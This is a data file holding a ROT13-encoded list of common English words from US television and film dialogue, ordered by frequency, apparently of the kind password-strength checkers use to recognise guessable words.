us_tv_and_film:"lbh,v,gb,gung,vg,zr,jung,guvf,xabj,v'z,ab,unir,zl,qba'g,whfg,abg,qb,or,lbhe,jr,vg'f,fb,ohg,nyy,jryy,bu,nobhg,evtug,lbh'er,trg,urer,bhg,tbvat,yvxr,lrnu,vs,pna,hc,jnag,guvax,gung'f,abj,tb,uvz,ubj,tbg,qvq,jul,frr,pbzr,tbbq,ernyyl,ybbx,jvyy,bxnl,onpx,pna'g,zrna,gryy,v'yy,url,ur'f,pbhyq,qvqa'g,lrf,fbzrguvat,orpnhfr,fnl,gnxr,jnl,yvggyr,znxr,arrq,tbaan,arire,jr'er,gbb,fur'f,v'ir,fher,bhe,fbeel,jung'f,yrg,guvat,znlor,qbja,zna,irel,gurer'f,fubhyq,nalguvat,fnvq,zhpu,nal,rira,bss,cyrnfr,qbvat,gunax,tvir,gubhtug,uryc,gnyx,tbq,fgvyy,jnvg,svaq,abguvat,ntnva,guvatf,yrg'f,qbrfa'g,pnyy,gbyq,terng,orggre,rire,avtug,njnl,oryvrir,srry,rirelguvat,lbh'ir,svar,ynfg,xrrc,qbrf,chg,nebhaq,fgbc,gurl'er,v'q,thl,vfa'g,nyjnlf,yvfgra,jnagrq,thlf,uhu,gubfr,ovt,ybg,unccrarq,gunaxf,jba'g,gelvat,xvaq,jebat,gnyxvat,thrff,pner,onq,zbz,erzrzore,trggvat,jr'yy,gbtrgure,qnq,yrnir,haqrefgnaq,jbhyqa'g,npghnyyl,urne,onol,avpr,sngure,ryfr,fgnl,qbar,jnfa'g,pbhefr,zvtug,zvaq,rirel,rabhtu,gel,uryy,pnzr,fbzrbar,lbh'yy,jubyr,lbhefrys,vqrn,nfx,zhfg,pbzvat,ybbxvat,jbzna,ebbz,xarj,gbavtug,erny,fba,ubcr,jrag,uzz,unccl,cerggl,fnj,tvey,fve,sevraq,nyernql,fnlvat,arkg,wbo,ceboyrz,zvahgr,guvaxvat,unira'g,urneq,ubarl,znggre,zlfrys,pbhyqa'g,rknpgyl,univat,cebonoyl,unccra,jr'ir,uheg,obl,qrnq,tbggn,nybar,rkphfr,fgneg,xvyy,uneq,lbh'q,gbqnl,pne,ernql,jvgubhg,jnagf,ubyq,jnaan,lrg,frra,qrny,bapr,tbar,zbeavat,fhccbfrq,sevraqf,urnq,fghss,jbeel,yvir,gehgu,snpr,sbetrg,gehr,pnhfr,fbba,xabjf,gryyvat,jvsr,jub'f,punapr,eha,zbir,nalbar,crefba,olr,fbzrobql,urneg,zvff,znxvat,zrrg,naljnl,cubar,ernfba,qnza,ybfg,ybbxf,oevat,pnfr,ghea,jvfu,gbzbeebj,xvqf,gehfg,purpx,punatr,nalzber,yrnfg,nera'g,jbexvat,znxrf,gnxvat,zrnaf,oebgure,ungr,ntb,fnlf,ornhgvshy,tnir,snpg,penml,fvg,nsenvq,vzcbegnag,erfg,sha,xvq,jbeq,jngpu,tynq,rirelbar,fvfgre,zvahgrf,rirelobql,ovg,pbhcyr,jubn,rvgure,zef,srryvat,qnhtugre,jbj,trgf,nfxrq,oernx,cebzvfr,qbbe,pybfr,unaq,rnfl,dhrfgvba,gevrq,sne,jnyx,arrqf,zvar,xvyyrq,ubfcvgny,nalobql,nyevtug,jrqqvat,fuhg,noyr,qvr,cresrpg,fgnaq,pbzrf,uvg,jnvgvat,qvaare,shaal,uhfonaq,nyzbfg,cnl,nafjre,pbby,rlrf,arjf,puvyq,fubhyqa'g,lbhef,zbzrag,fyrrc,ernq,jurer'f,fbhaqf,fbaal,cvpx,fbzrgvzrf,orq,qngr,cyna,ubhef,ybfr,unaqf,frevbhf,fuvg,oruvaq,vafvqr,nurnq,jrrx,jbaqreshy,svtug,cnfg,phg,dhvgr,ur'yy,fvpx,vg'yy,rng,abobql,tbrf,fnir,frrzf,svanyyl,yvirf,jbeevrq,hcfrg,pneyl,zrg,oebhtug,frrz,fbeg,fnsr,jrera'g,yrnivat,sebag,fubg,ybirq,nfxvat,ehaavat,pyrne,svther,ubg,sryg,cneragf,qevax,nofbyhgryl,ubj'f,qnqql,fjrrg,nyvir,frafr,zrnag,unccraf,org,oybbq,nva'g,xvqqvat,yvr,zrrgvat,qrne,frrvat,fbhaq,snhyg,gra,ohl,ubhe,fcrnx,ynql,wra,guvaxf,puevfgznf,bhgfvqr,unat,cbffvoyr,jbefr,zvfgnxr,bbu,unaqyr,fcraq,gbgnyyl,tvivat,urer'f,zneevntr,ernyvmr,hayrff,frk,fraq,arrqrq,fpnerq,cvpgher,gnyxrq,nff,uhaqerq,punatrq,pbzcyrgryl,rkcynva,pregnvayl,fvta,oblf,eryngvbafuvc,ybirf,unve,ylvat,pubvpr,naljurer,shgher,jrveq,yhpx,fur'yy,ghearq,gbhpu,xvff,penar,dhrfgvbaf,boivbhfyl,jbaqre,cnva,pnyyvat,fbzrjurer,guebj,fgenvtug,pbyq,snfg,jbeqf,sbbq,abar,qevir,srryvatf,gurl'yy,zneel,qebc,pnaabg,qernz,cebgrpg,gjragl,fhecevfr,fjrrgurneg,cbbe,ybbxrq,znq,rkprcg,tha,l'xabj,qnapr,gnxrf,nccerpvngr,rfcrpvnyyl,fvghngvba,orfvqrf,chyy,unfa'g,jbegu,furevqna,nznmvat,rkcrpg,fjrne,cvrpr,ohfl,unccravat,zbivr,jr'q,pngpu,creuncf,fgrc,snyy,jngpuvat,xrcg,qneyvat,qbt,ubabe,zbivat,gvyy,nqzvg,ceboyrzf,zheqre,ur'q,rivy,qrsvavgryl,srryf,ubarfg,rlr,oebxr,zvffrq,ybatre,qbyynef,gverq,riravat,fgnegvat,ragver,gevc,avyrf,fhccbfr,pnyz,vzntvar,snve,pnhtug,oynzr,fvggvat,snibe,ncnegzrag,greevoyr,pyrna,yrnea,senfvre,erynk,nppvqrag,jnxr,cebir,fzneg,zrffntr,zvffvat,sbetbg,vagrerfgrq,gnoyr,aofc,zbhgu,certanag,evat,pnershy,funyy,qhqr,evqr,svtherq,jrne,fubbg,fgvpx,sbyybj,natel,jevgr,fgbccrq,ena,fgnaqvat,sbetvir,wnvy,jrnevat,ynqvrf,xvaqn,yhapu,pevfgvna,terrayrr,tbggra,ubcvat,cubror,gubhfnaq,evqtr,cncre,gbhtu,gncr,pbhag,oblsevraq,cebhq,nterr,oveguqnl,gurl'ir,funer,bssre,uheel,srrg,jbaqrevat,qrpvfvba,barf,svavfu,ibvpr,urefrys,jbhyq'ir,zrff,qrfreir,rivqrapr,phgr,qerff,vagrerfgvat,ubgry,rawbl,dhvrg,pbaprearq,fgnlvat,orng,fjrrgvr,zragvba,pybgurf,sryy,arvgure,zzz,svk,erfcrpg,cevfba,nggragvba,ubyqvat,pnyyf,fhecevfrq,one,xrrcvat,tvsg,unqa'g,chggvat,qnex,bjr,vpr,urycvat,abezny,nhag,ynjlre,ncneg,cynaf,wnk,tveysevraq,sybbe,jurgure,rirelguvat'f,obk,whqtr,hcfgnvef,fnxr,zbzzl,cbffvoyl,jbefg,npgvat,npprcg,oybj,fgenatr,fnirq,pbairefngvba,cynar,znzn,lrfgreqnl,yvrq,dhvpx,yngryl,fghpx,qvssrerapr,fgber,fur'q,obhtug,qbhog,yvfgravat,jnyxvat,pbcf,qrrc,qnatrebhf,ohssl,fyrrcvat,puybr,ensr,wbva,pneq,pevzr,tragyrzra,jvyyvat,jvaqbj,jnyxrq,thvygl,yvxrf,svtugvat,qvssvphyg,fbhy,wbxr,snibevgr,hapyr,cebzvfrq,obgure,frevbhfyl,pryy,xabjvat,oebxra,nqivpr,fbzrubj,cnvq,ybfvat,chfu,urycrq,xvyyvat,obff,yvxrq,vaabprag,ehyrf,yrnearq,guvegl,evfx,yrggvat,fcrnxvat,evqvphybhf,nsgreabba,ncbybtvmr,areibhf,punetr,cngvrag,obng,ubj'q,uvqr,qrgrpgvir,cynaavat,uhtr,oernxsnfg,ubeevoyr,njshy,cyrnfher,qevivat,unatvat,cvpxrq,fryy,dhvg,nccneragyl,qlvat,abgvpr,pbatenghyngvbaf,ivfvg,pbhyq'ir,p'zba,yrggre,qrpvqr,sbejneq,sbby,fubjrq,fzryy,frrzrq,fcryy,zrzbel,cvpgherf,fybj,frpbaqf,uhatel,urnevat,xvgpura,zn'nz,fubhyq'ir,ernyvmrq,xvpx,teno,qvfphff,svsgl,ernqvat,vqvbg,fhqqrayl,ntrag,qrfgebl,ohpxf,fubrf,crnpr,nezf,qrzba,yviivr,pbafvqre,cncref,vaperqvoyr,jvgpu,qehax,nggbearl,gryyf,xabpx,jnlf,tvirf,abfr,fxlr,gheaf,xrrcf,wrnybhf,qeht,fbbare,pnerf,cyragl,rkgen,bhggn,jrrxraq,znggref,tbfu,bccbeghavgl,vzcbffvoyr,jnfgr,cergraq,whzc,rngvat,cebbs,fyrcg,neerfg,oerngur,cresrpgyl,jnez,chyyrq,gjvpr,rnfvre,tbva,qngvat,fhvg,ebznagvp,qehtf,pbzsbegnoyr,svaqf,purpxrq,qvibepr,ortva,bhefryirf,pybfre,ehva,fzvyr,ynhtu,gerng,srne,jung'q,bgurejvfr,rkpvgrq,znvy,uvqvat,fgbyr,cnprl,abgvprq,sverq,rkpryyrag,oevatvat,obggbz,abgr,fhqqra,onguebbz,ubarfgyl,fvat,sbbg,erzvaq,punetrf,jvgarff,svaqvat,gerr,qner,uneqyl,gung'yy,fgrny,fvyyl,pbagnpg,grnpu,fubc,cyhf,pbybary,serfu,gevny,vaivgrq,ebyy,ernpu,qvegl,pubbfr,rzretrapl,qebccrq,ohgg,perqvg,boivbhf,ybpxrq,ybivat,ahgf,nterrq,cehr,tbbqolr,pbaqvgvba,thneq,shpxva,tebj,pnxr,zbbq,penc,pelvat,orybat,cnegare,gevpx,cerffher,qerffrq,gnfgr,arpx,ahefr,envfr,ybgf,pneel,jubrire,qevaxvat,gurl'q,oernxvat,svyr,ybpx,jvar,fcbg,cnlvat,nffhzr,nfyrrc,gheavat,ivxv,orqebbz,fubjre,avxbynf,pnzren,svyy,ernfbaf,sbegl,ovttre,abcr,oerngu,qbpgbef,cnagf,sernx,zbivrf,sbyxf,pernz,jvyq,gehyl,qrfx,pbaivapr,pyvrag,guerj,uhegf,fcraqvat,nafjref,fuveg,punve,ebhtu,qbva,frrf,bhtug,rzcgl,jvaq,njner,qrnyvat,cnpx,gvtug,uhegvat,thrfg,neerfgrq,fnyrz,pbashfrq,fhetrel,rkcrpgvat,qrnpba,hasbeghangryl,tbqqnza,obggyr,orlbaq,jurarire,cbby,bcvavba,fgnegf,wrex,frpergf,snyyvat,arprffnel,oneryl,qnapvat,grfgf,pbcl,pbhfva,nurz,gjryir,grff,fxva,svsgrra,fcrrpu,beqref,pbzcyvpngrq,abjurer,rfpncr,ovttrfg,erfgnhenag,tengrshy,hfhny,ohea,nqqerff,fbzrcynpr,fperj,rireljurer,erterg,tbbqarff,zvfgnxrf,qrgnvyf,erfcbafvovyvgl,fhfcrpg,pbeare,ureb,qhzo,greevsvp,jubb,ubyr,zrzbevrf,b'pybpx,grrgu,ehvarq,ovgr,fgraorpx,yvne,fubjvat,pneqf,qrfcrengr,frnepu,cngurgvp,fcbxr,fpner,znenu,nssbeq,frggyr,fgnlrq,purpxvat,uverq,urnqf,pbaprea,oyrj,nypnmne,punzcntar,pbaarpgvba,gvpxrgf,unccvarff,fnivat,xvffvat,ungrq,crefbanyyl,fhttrfg,cercnerq,bagb,qbjafgnvef,gvpxrg,vg'q,ybbfr,ubyl,qhgl,pbaivaprq,guebjvat,xvffrq,yrtf,ybhq,fngheqnl,onovrf,jurer'q,jneavat,zvenpyr,pneelvat,oyvaq,htyl,fubccvat,ungrf,fvtug,oevqr,pbng,pyrneyl,pryroengr,oevyyvnag,jnagvat,sbeerfgre,yvcf,phfgbql,fperjrq,ohlvat,gbnfg,gubhtugf,ernyvgl,yrkvr,nggvghqr,nqinagntr,tenaqsngure,fnzv,tenaqzn,fbzrqnl,ebbs,zneelvat,cbjreshy,tebja,tenaqzbgure,snxr,zhfg'ir,vqrnf,rkpvgvat,snzvyvne,obzo,obhg,unezbal,fpurqhyr,pncnoyr,cenpgvpnyyl,pbeerpg,pyhr,sbetbggra,nccbvagzrag,qrfreirf,guerng,oybbql,ybaryl,funzr,wnpxrg,ubbx,fpnel,vairfgvtngvba,vaivgr,fubbgvat,yrffba,pevzvany,ivpgvz,shareny,pbafvqrevat,oheavat,fgeratgu,uneqre,fvfgref,chfurq,fubpx,chfuvat,urng,pubpbyngr,zvfrenoyr,pbevagubf,avtugzner,oevatf,mnaqre,penfu,punaprf,fraqvat,erpbtavmr,urnygul,obevat,srrq,ratntrq,urnqrq,gerngrq,xavsr,qent,onqyl,uver,cnvag,cneqba,orunivbe,pybfrg,jnea,tbetrbhf,zvyx,fheivir,raqf,qhzc,erag,erzrzorerq,gunaxftvivat,enva,eriratr,cersre,fcner,cenl,qvfnccrnerq,nfvqr,fgngrzrag,fbzrgvzr,zrng,snagnfgvp,oernguvat,ynhtuvat,fgbbq,nssnve,bhef,qrcraqf,cebgrpgvat,whel,oenir,svatref,zheqrerq,rkcynangvba,cvpxvat,oynu,fgebatre,unaqfbzr,haoryvrinoyr,nalgvzr,funxr,bnxqnyr,jurerire,chyyvat,snpgf,jnvgrq,ybhfl,pvephzfgnaprf,qvfnccbvagrq,jrnx,gehfgrq,yvprafr,abguva,genfu,haqrefgnaqvat,fyvc,fbhaqrq,njnxr,sevraqfuvc,fgbznpu,jrncba,guerngrarq,zlfgrel,irtnf,haqrefgbbq,onfvpnyyl,fjvgpu,senaxyl,purnc,yvsrgvzr,qral,pybpx,tneontr,jul'q,grne,rnef,vaqrrq,punatvat,fvatvat,gval,qrprag,nibvq,zrffrq,svyyrq,gbhpurq,qvfnccrne,rknpg,cvyyf,xvpxrq,unez,sbeghar,cergraqvat,vafhenapr,snapl,qebir,pnerq,orybatf,avtugf,yberynv,yvsg,gvzvat,thnenagrr,purfg,jbxr,ohearq,jngpurq,urnqvat,frysvfu,qevaxf,qbyy,pbzzvggrq,ryringbe,serrmr,abvfr,jnfgvat,prerzbal,hapbzsbegnoyr,fgnevat,svyrf,ovxr,fgerff,crezvffvba,guebja,cbffvovyvgl,obeebj,snohybhf,qbbef,fpernzvat,obar,knaqre,jung'er,zrny,ncbybtl,natre,ubarlzbba,onvy,cnexvat,svkrq,jnfu,fgbyra,frafvgvir,fgrnyvat,cubgb,pubfr,yrgf,pbzsbeg,jbeelvat,cbpxrg,zngrb,oyrrqvat,fubhyqre,vtaber,gnyrag,gvrq,tnentr,qvrf,qrzbaf,qhzcrq,jvgpurf,ehqr,penpx,obgurevat,enqne,fbsg,zrnagvzr,tvzzr,xvaqf,sngr,pbapragengr,guebng,cebz,zrffntrf,vagraq,nfunzrq,fbzrguva,znantr,thvyg,vagreehcg,thgf,gbathr,fubr,onfrzrag,fragrapr,chefr,tynffrf,pnova,havirefr,ercrng,zveebe,jbhaq,geniref,gnyy,ratntrzrag,gurencl,rzbgvbany,wrrm,qrpvfvbaf,fbhc,guevyyrq,fgnxr,purs,zbirf,rkgerzryl,zbzragf,rkcrafvir,pbhagvat,fubgf,xvqanccrq,pyrnavat,fuvsg,cyngr,vzcerffrq,fzryyf,genccrq,nvqna,xabpxrq,punezvat,nggenpgvir,nethr,chgf,juvc,rzoneenffrq,cnpxntr,uvggvat,ohfg,fgnvef,nynez,cher,anvy,areir,vaperqvoyl,jnyxf,qveg,fgnzc,greevoyl,sevraqyl,qnzarq,wbof,fhssrevat,qvfthfgvat,fgbccvat,qryvire,evqvat,urycf,qvfnfgre,onef,pebffrq,genc,gnyxf,rttf,puvpx,guerngravat,fcbxra,vagebqhpr,pbasrffvba,rzoneenffvat,ontf,vzcerffvba,tngr,erchgngvba,cerfragf,pung,fhssre,nethzrag,gnyxva,pebjq,ubzrjbex,pbvapvqrapr,pnapry,cevqr,fbyir,ubcrshyyl,cbhaqf,cvar,zngr,vyyrtny,trarebhf,bhgsvg,znvq,ongu,chapu,sernxrq,orttvat,erpnyy,rawblvat,cercner,jurry,qrsraq,fvtaf,cnvashy,lbhefryirf,znevf,gung'q,fhfcvpvbhf,pbbxvat,ohggba,jnearq,fvkgl,cvgl,lryyvat,njuvyr,pbasvqrapr,bssrevat,cyrnfrq,cnavp,uref,trggva,ershfr,tenaqcn,grfgvsl,pubvprf,pehry,zragny,tragyrzna,pbzn,phggvat,cebgrhf,thrfgf,rkcreg,orarsvg,snprf,whzcrq,gbvyrg,farnx,unyybjrra,cevinpl,fzbxvat,erzvaqf,gjvaf,fjvat,fbyvq,bcgvbaf,pbzzvgzrag,pehfu,nzohynapr,jnyyrg,tnat,ryrira,bcgvba,ynhaqel,nffher,fgnlf,fxvc,snvy,qvfphffvba,pyvavp,orgenlrq,fgvpxvat,oberq,znafvba,fbqn,furevss,fhvgr,unaqyrq,ohfgrq,ybnq,unccvre,fghqlvat,ebznapr,cebprqher,pbzzvg,nffvtazrag,fhvpvqr,zvaqf,fjvz,lryy,yynaivrj,punfvat,cebcre,oryvrirf,uhzbe,ubcrf,ynjlref,tvnag,yngrfg,rfpncrq,cnerag,gevpxf,vafvfg,qebccvat,purre,zrqvpngvba,syrfu,ebhgvar,fnaqjvpu,unaqrq,snyfr,orngvat,jneenag,njshyyl,bqqf,gerngvat,guva,fhttrfgvat,srire,fjrng,fvyrag,pyrire,fjrngre,znyy,funevat,nffhzvat,whqtzrag,tbbqavtug,qvibeprq,fheryl,fgrcf,pbasrff,zngu,yvfgrarq,pbzva,nafjrerq,ihyarenoyr,oyrff,qernzvat,puvc,mreb,cvffrq,angr,xvyyf,grnef,xarrf,puvyy,oenvaf,hahfhny,cnpxrq,qernzrq,pher,ybbxva,tenir,purngvat,oernxf,ybpxre,tvsgf,njxjneq,guhefqnl,wbxvat,ernfbanoyr,qbmra,phefr,dhnegreznvar,zvyyvbaf,qrffreg,ebyyvat,qrgnvy,nyvra,qryvpvbhf,pybfvat,inzcverf,jber,gnvy,frpher,fnynq,zheqrere,fcvg,bssrafr,qhfg,pbafpvrapr,oernq,nafjrevat,ynzr,vaivgngvba,tevrs,fzvyvat,certanapl,cevfbare,qryvirel,thneqf,ivehf,fuevax,serrmvat,jerpx,znffvzb,jver,grpuavpnyyl,oybja,nakvbhf,pnir,ubyvqnlf,pyrnerq,jvfurf,pnevat,pnaqyrf,obhaq,punez,chyfr,whzcvat,wbxrf,obbz,bppnfvba,fvyrapr,abafrafr,sevtugrarq,fyvccrq,qvzren,oybjvat,eryngvbafuvcf,xvqanccvat,fcva,gbby,ebkl,cnpxvat,oynzvat,jenc,bofrffrq,sehvg,gbegher,crefbanyvgl,gurer'yy,snvel,arprffnevyl,friragl,cevag,zbgry,haqrejrne,tenzf,rkunhfgrq,oryvrivat,sernxvat,pnershyyl,genpr,gbhpuvat,zrffvat,erpbirel,vagragvba,pbafrdhraprf,oryg,fnpevsvpr,pbhentr,rawblrq,nggenpgrq,erzbir,grfgvzbal,vagrafr,urny,qrsraqvat,hasnve,eryvrirq,yblny,fybjyl,ohmm,nypbuby,fhecevfrf,cflpuvngevfg,cynva,nggvp,jub'q,havsbez,greevsvrq,pyrnarq,mnpu,guerngra,sryyn,rarzvrf,fngvfsvrq,vzntvangvba,ubbxrq,urnqnpur,sbetrggvat,pbhafrybe,naqvr,npgrq,onqtr,anghenyyl,sebmra,fnxrf,nccebcevngr,gehax,qhaab,pbfghzr,fvkgrra,vzcerffvir,xvpxvat,whax,tenoorq,haqrefgnaqf,qrfpevor,pyvragf,bjaf,nssrpg,jvgarffrf,fgneivat,vafgvapgf,unccvyl,qvfphffvat,qrfreirq,fgenatref,fheirvyynapr,nqzver,dhrfgvbavat,qenttrq,onea,qrrcyl,jenccrq,jnfgrq,grafr,ubcrq,sryynf,ebbzzngr,zbegny,snfpvangvat,fgbcf,neenatrzragf,ntraqn,yvgrenyyl,cebcbfr,ubarfgl,haqrearngu,fnhpr,cebzvfrf,yrpgher,rvtugl,gbea,fubpxrq,onpxhc,qvssreragyl,avargl,qrpx,ovbybtvpny,currof,rnfr,perrc,jnvgerff,gryrcubar,evccrq,envfvat,fpengpu,evatf,cevagf,gurr,nethvat,rcuenz,nfxf,bbcf,qvare,naablvat,gnttreg,fretrnag,oynfg,gbjry,pybja,unovg,perngher,orezhqn,fanc,ernpg,cnenabvq,unaqyvat,rngra,gurencvfg,pbzzrag,fvax,ercbegre,ahefrf,orngf,cevbevgl,vagreehcgvat,jnerubhfr,yblnygl,vafcrpgbe,cyrnfnag,rkphfrf,guerngf,thrffvat,graq,cenlvat,zbgvir,hapbafpvbhf,zlfgrevbhf,haunccl,gbar,fjvgpurq,enccncbeg,fbbxvr,arvtuobe,ybnqrq,fjber,cvff,onynapr,gbff,zvfrel,guvrs,fdhrrmr,ybool,tbn'hyq,trrm,rkrepvfr,sbegu,obbxrq,fnaqohet,cbxre,rvtugrra,q'lbh,ohel,rirelqnl,qvttvat,perrcl,jbaqrerq,yvire,uzzz,zntvpny,svgf,qvfphffrq,zbeny,urycshy,frnepuvat,syrj,qrcerffrq,nvfyr,pevf,nzra,ibjf,arvtuobef,qnea,pragf,neenatr,naahyzrag,hfryrff,nqiragher,erfvfg,sbhegrra,pryroengvat,vapu,qrog,ivbyrag,fnaq,grny'p,pryroengvba,erzvaqrq,cubarf,cncrejbex,rzbgvbaf,fghoobea,cbhaq,grafvba,fgebxr,fgrnql,bireavtug,puvcf,orrs,fhvgf,obkrf,pnffnqvar,pbyyrpg,gentrql,fcbvy,ernyz,jvcr,fhetrba,fgergpu,fgrccrq,arcurj,arng,yvzb,pbasvqrag,crefcrpgvir,pyvzo,chavfuzrag,svarfg,fcevatsvryq,uvag,sheavgher,oynaxrg,gjvfg,cebprrq,sevrf,jbeevrf,avrpr,tybirf,fbnc,fvtangher,qvfnccbvag,penjy,pbaivpgrq,syvc,pbhafry,qbhogf,pevzrf,npphfvat,funxvat,erzrzorevat,unyyjnl,unysjnl,obgurerq,znqnz,tngure,pnzrenf,oynpxznvy,flzcgbzf,ebcr,beqvanel,vzntvarq,pvtnerggr,fhccbegvir,rkcybfvba,genhzn,bhpu,shevbhf,purng,nibvqvat,jurj,guvpx,bbbu,obneqvat,nccebir,hetrag,fuuu,zvfhaqrefgnaqvat,qenjre,cubal,vagresrer,pngpuvat,onetnva,gentvp,erfcbaq,chavfu,cragubhfr,gubh,enpu,buuu,vafhyg,ohtf,orfvqr,orttrq,nofbyhgr,fgevpgyl,fbpxf,frafrf,farnxvat,erjneq,cbyvgr,purpxf,gnyr,culfvpnyyl,vafgehpgvbaf,sbbyrq,oybjf,gnool,ovggre,nqbenoyr,l'nyy,grfgrq,fhttrfgvba,wrjryel,nyvxr,wnpxf,qvfgenpgrq,furygre,yrffbaf,pbafgnoyr,pvephf,nhqvgvba,ghar,fubhyqref,znfx,urycyrff,srrqvat,rkcynvaf,fhpxrq,eboorel,bowrpgvba,orunir,inyhnoyr,funqbjf,pbhegebbz,pbashfvat,gnyragrq,fznegre,zvfgnxra,phfgbzre,ovmneer,fpnevat,zbgureshpxre,nyreg,irppuvb,erireraq,sbbyvfu,pbzcyvzrag,onfgneqf,jbexre,jurrypunve,cebgrpgvir,tragyr,erirefr,cvpavp,xarr,pntr,jvirf,jrqarfqnl,ibvprf,gbrf,fgvax,fpnerf,cbhe,purngrq,fyvqr,ehvavat,svyyvat,rkvg,pbggntr,hcfvqr,cebirf,cnexrq,qvnel,pbzcynvavat,pbasrffrq,cvcr,zreryl,znffntr,pubc,fcvyy,cenlre,orgenl,jnvgre,fpnz,engf,senhq,oehfu,gnoyrf,flzcngul,cvyy,svygul,friragrra,rzcyblrr,oenpryrg,cnlf,snveyl,qrrcre,neevir,genpxvat,fcvgr,furq,erpbzzraq,bhtugn,anaal,zrah,qvrg,pbea,ebfrf,cngpu,qvzr,qrinfgngrq,fhogyr,ohyyrgf,ornaf,cvyr,pbasvez,fgevatf,cnenqr,obeebjrq,gblf,fgenvtugra,fgrnx,cerzbavgvba,cynagrq,ubaberq,rknz,pbairavrag,geniryvat,ynlvat,vafvfgrq,qvfu,nvgbeb,xvaqyl,tenaqfba,qbabe,grzcre,grrantre,cebira,zbguref,qravny,onpxjneqf,grag,fjryy,abba,unccvrfg,qevirf,guvaxva,fcvevgf,cbgvba,ubyrf,srapr,jungfbrire,erurnefny,bireurneq,yrzzr,ubfgntr,orapu,gelva,gnkv,fubir,zbeba,vzcerff,arrqyr,vagryyvtrag,vafgnag,qvfnterr,fgvaxf,evnaan,erpbire,tebbz,trfgher,pbafgnagyl,onegraqre,fhfcrpgf,frnyrq,yrtnyyl,urnef,qerffrf,furrg,cflpuvp,grrantr,xabpxvat,whqtvat,nppvqragnyyl,jnxvat,ehzbe,znaaref,ubzryrff,ubyybj,qrfcrengryl,gncrf,ersreevat,vgrz,trabn,trne,znwrfgl,pevrq,gbaf,fcryyf,vafgvapg,dhbgr,zbgbeplpyr,pbaivapvat,snfuvbarq,nvqf,nppbzcyvfurq,tevc,ohzc,hcfrggvat,arrqvat,vaivfvoyr,sbetvirarff,srqf,pbzcner,obguref,gbbgu,vaivgvat,rnea,pbzcebzvfr,pbpxgnvy,genzc,wnobg,vagvzngr,qvtavgl,qrnyg,fbhyf,vasbezrq,tbqf,qerffvat,pvtnerggrf,nyvfgnve,yrnx,sbaq,pbexl,frqhpr,yvdhbe,svatrecevagf,rapunagzrag,ohggref,fghssrq,fgniebf,rzbgvbanyyl,genafcynag,gvcf,bkltra,avpryl,yhangvp,qevyy,pbzcynva,naabhaprzrag,hasbeghangr,fync,cenlref,cyht,bcraf,bngu,b'arvyy,zhghny,lnpug,erzrzoref,sevrq,rkgenbeqvanel,onvg,jnegba,fjbea,fgner,fnsryl,erhavba,ohefg,zvtug'ir,qvir,nobneq,rkcbfr,ohqqvrf,gehfgvat,obbmr,fjrrc,fber,fphqqre,cebcreyl,cnebyr,qvgpu,pnapryrq,fcrnxf,tybj,jrnef,guvefgl,fxhyy,evatvat,qbez,qvavat,oraq,harkcrpgrq,cnapnxrf,unefu,synggrerq,nuuu,gebhoyrf,svtugf,snibhevgr,rngf,entr,haqrepbire,fcbvyrq,fybnar,fuvar,qrfgeblvat,qryvorengryl,pbafcvenpl,gubhtugshy,fnaqjvpurf,cyngrf,anvyf,zvenpyrf,sevqtr,qenax,pbagenel,orybirq,nyyretvp,jnfurq,fgnyxvat,fbyirq,fnpx,zvffrf,sbetvira,orag,znpvire,vaibyir,qenttvat,pbbxrq,cbvagvat,sbhy,qhyy,orarngu,urryf,snxvat,qrns,fghag,wrnybhfl,ubcryrff,srnef,phgf,fpranevb,arpxynpr,penfurq,npphfr,erfgenvavat,ubzvpvqr,uryvpbcgre,svevat,fnsre,nhpgvba,ivqrbgncr,gber,erfreingvbaf,cbcf,nccrgvgr,jbhaqf,inadhvfu,vebavp,snguref,rkpvgrzrag,nalubj,grnevat,fraqf,encr,ynhturq,oryyl,qrnyre,pbbcrengr,nppbzcyvfu,jnxrf,fcbggrq,fbegf,erfreingvba,nfurf,gnfgrf,fhccbfrqyl,ybsg,vagragvbaf,vagrtevgl,jvfurq,gbjryf,fhfcrpgrq,vairfgvtngvat,vanccebcevngr,yvcfgvpx,ynja,pbzcnffvba,pnsrgrevn,fpnes,cerpvfryl,bofrffvba,ybfrf,yvtugra,vasrpgvba,tenaqqnhtugre,rkcybqr,onypbal,guvf'yy,fclvat,choyvpvgl,qrcraq,penpxrq,pbafpvbhf,nyyl,nofheq,ivpvbhf,vairagrq,sbeovq,qverpgvbaf,qrsraqnag,oner,naabhapr,fperjvat,fnyrfzna,eboorq,yrnc,ynxrivrj,vafnavgl,erirny,cbffvovyvgvrf,xvqanc,tbja,punvef,jvfuvat,frghc,chavfurq,pevzvanyf,ertergf,encrq,dhnegref,ynzc,qragvfg,naljnlf,nabalzbhf,frzrfgre,evfxf,bjrf,yhatf,rkcynvavat,qryvpngr,gevpxrq,rntre,qbbzrq,nqbcgvba,fgno,fvpxarff,fphz,sybngvat,rairybcr,inhyg,fbery,cergraqrq,cbgngbrf,cyrn,cubgbtencu,cnlonpx,zvfhaqrefgbbq,xvqqb,urnyvat,pnfpnqr,pncrfvqr,fgnoorq,erznexnoyr,oeng,cevivyrtr,cnffvbangr,areirf,ynjfhvg,xvqarl,qvfgheorq,pbml,gver,fuvegf,bira,beqrevat,qrynl,evfxl,zbafgref,ubabenoyr,tebhaqrq,pybfrfg,oernxqbja,onyq,nonaqba,fpne,pbyyne,jbeguyrff,fhpxvat,rabezbhf,qvfgheovat,qvfgheo,qvfgenpg,qrnyf,pbapyhfvbaf,ibqxn,qvfurf,penjyvat,oevrspnfr,jvcrq,juvfgyr,fvgf,ebnfg,eragrq,cvtf,syvegvat,qrcbfvg,obggyrf,gbcvp,evbg,bireernpgvat,ybtvpny,ubfgvyr,rzoneenff,pnfhny,ornpba,nzhfvat,nygne,pynhf,fheiviny,fxveg,funir,cbepu,tubfgf,snibef,qebcf,qvmml,puvyv,nqivfr,fgevxrf,eruno,cubgbtencure,crnprshy,yrrel,urniraf,sbeghangryl,sbbyvat,rkcrpgngvbaf,pvtne,jrnxarff,enapu,cenpgvpvat,rknzvar,penarf,oevor,fnvy,cerfpevcgvba,uhfu,sentvyr,sberafvpf,rkcrafr,qehttrq,pbjf,oryyf,ivfvgbe,fhvgpnfr,fbegn,fpna,znagvpber,vafrpher,vzntvavat,uneqrfg,pyrex,jevfg,jung'yy,fgnegref,fvyx,chzc,cnyr,avpre,unhy,syvrf,obbg,guhzo,gurer'q,ubj'er,ryqref,dhvrgyl,chyyf,vqvbgf,renfr,qralvat,naxyr,nzarfvn,npprcgvat,urnegorng,qrinar,pbasebag,zvahf,yrtvgvzngr,svkvat,neebtnag,ghan,fhccre,fyvtugrfg,fvaf,fnlva,erpvcr,cvre,cngreavgl,uhzvy